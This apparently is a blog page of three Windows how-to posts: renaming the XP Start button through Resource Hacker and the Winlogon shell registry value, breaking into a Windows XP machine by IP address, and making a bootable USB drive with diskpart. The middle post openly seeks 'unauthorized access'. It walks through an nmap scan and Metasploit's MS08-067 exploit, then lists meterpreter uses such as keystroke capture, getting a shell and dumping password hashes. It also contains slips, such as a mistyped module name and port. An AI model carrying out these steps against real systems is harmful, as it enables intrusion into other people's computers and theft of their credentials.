Change Windows XP Start Button Text

This post will explain how to change the Windows XP Start Button text.In order to Change the XP Start Button text Follow this few steps :

1. Download a tool called 'Resource Hacker' By Clicking Here. Then extract it on Desktop.

2.Now Open command prompt By 'Start >> Run ' & type there "cmd" & hit enter. Then in the command prompt Type " explorer %systemroot% " & hit enter, when a Window comes up, then Find a file named    " Explorer.exe "  in this window & make a copy of this file in the Desktop & rename it as "mystart".

3. Now click on the 'Reshacker'. In the 'Reshacker' Menu go to ' File >> Open ' & select 'mystart' then click the open button.

4.In the Left side of the 'Resource Hacker' window Double Click on the "String table" & then click on the string 37, then 1033.In the Write side display box See the 4th line & change the "start" to the other which you want to show in the start button.Then click on the "Compile Script" button. In my case i replace the 'start' with 'Ajay'.

5. Then click on the string 38 & after that 1033.This time see the 6th line in the display box & change the "start" to your name which you want to show in the start button.Then click on the "Compile Script" button.Then go to the File menu & click on the save & exit.

6.Now go to the " Start >> Run " & type there "regedit".In The "Registry Editor " Window Click on the "HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon".    Then in the write side Box click on the "shell" entry & in The edit string window rename the "explorer.exe" to "mystart.exe" in the Value data box & click ok then Exit the 'Registry editor'.

7. Now open the Command prompt & Type " explorer %systemroot% " & hit enter.Then copy the "mystart.exe" file from Desktop to this window & Restart the system.

If all things are correct then You should see your new start Button with your customize text.

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Hacking Windows xp with I.P. address using Backtrack 5

This guide will be show you how to get unauthorized access to a Windows Xp machine by its I.P. address using Backtrack 5.

Start here :

1. Scan the target machine's open ports using nmap

command :    nmap -T4 -A -v [target ip address]

where 135, 139,445 are the open ports.

2.Then start the msfconsole, which will appear on Applications>backtrack>Exploitation Tools>Network Exploitation Tools>Metasploit Framework>msfconsole

or open the shell and type "msfconsole"

3.In msfconsole type 'use exploit/windows/smb/ms08_67_netapi' & hit enter.

4.Then type 'show options' & hit enter.

The 'show options' cammand will shows the exploit Module options.This exploit's there are three options :

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Module options (exploit/windows/smb/ms08_067_netapi):

   Name               Current Setting     Required      Description
   ----                  ---------------     --------        -----------
   RHOST                                       yes              The target address
   RPORT            445                     yes              Set the SMB service port

   SMBPIPE       BROWSER         yes              The pipe name to use (BROWSER, SRVSVC)
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the first option is RHOST which state the target ip address. To set the target ip address type
'set RHOST [target ip]'

command :    set RHOST 192.168.1.11

The second option is RPORT which state the target open ports. & the 455 is its default port.to see your settings type 'show options' again & hit enter.

5. Then the last step is Type 'exploit' & hit enter.

thats it !! we will sucessfully exploited the windows xp.Now we have a meterpreter session, which is a Payload used by the exploit.In meterpreter session we will do a lot of things like capturing keystrocks, take screenshot, get commond promt,  upload & download files, get hashs etc.To see all options type 'help' & hit enter.

some commonds are :

System information :

To get the commond promt type 'shell' & hit enter.

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Make Windows vista/7/8 Bootable USB manually using command Promt

Make Windows vista/7/8 Bootable USB manually using command Promt:

This will explain, how to make a bootable usb drive manually using command Promt in windows vista/7/8.To do this you have need :

1. A USB drive (at least 4 GB space)
2. An ISO Mounting tool(UltraISO, Demon tool)
3. ISO Image file of Operating system.

Make sure that the usb drive is empty, because the process were attempt to format the usb drive.So keep Backup of usb drive files.

Now follow these steps :

1. First download Ultraiso From here & install it.Then double click in the iso file & click the Mount button to Mount the ISO file in a virtual drive,

something looks like this

2. Then open the command promt as Administrator & type " diskpart " and then press enter.

3. Then type the " list disk " & hit enter.

These are  all storage drive of the system. Then select the USB drive which will be listed in the disk list. In my case " Disk 2 " is the USB drive.Be careful to select this, don,t select the another.

4. To select the disk type " select disk 2" & hit enter.('disk 2' will indicate the usb drive)

& then Use these commands

clean

create partition primary

select partition 1

Active

Format fs=ntfs quick

Assign

Then type 'exit' & hit enter & then locate virtual drive in the command promt. To do this note down the virtual drive letter.in My case This is "F" & type these commands:

F:

cd boot

bootsect.exe /NT60 K:   

where K is my usb drive letter.Then close the command promt & Open the virtual drive & copy all the Files & folders into usb drive.

Thats it!!.The bootable USB drive is ready to use.To Boot with usb drive Restart the system & go to Bios setup & change the Boot order to "Removable device" & save it then restart the system. 

Then the system will boot with the usb drive.

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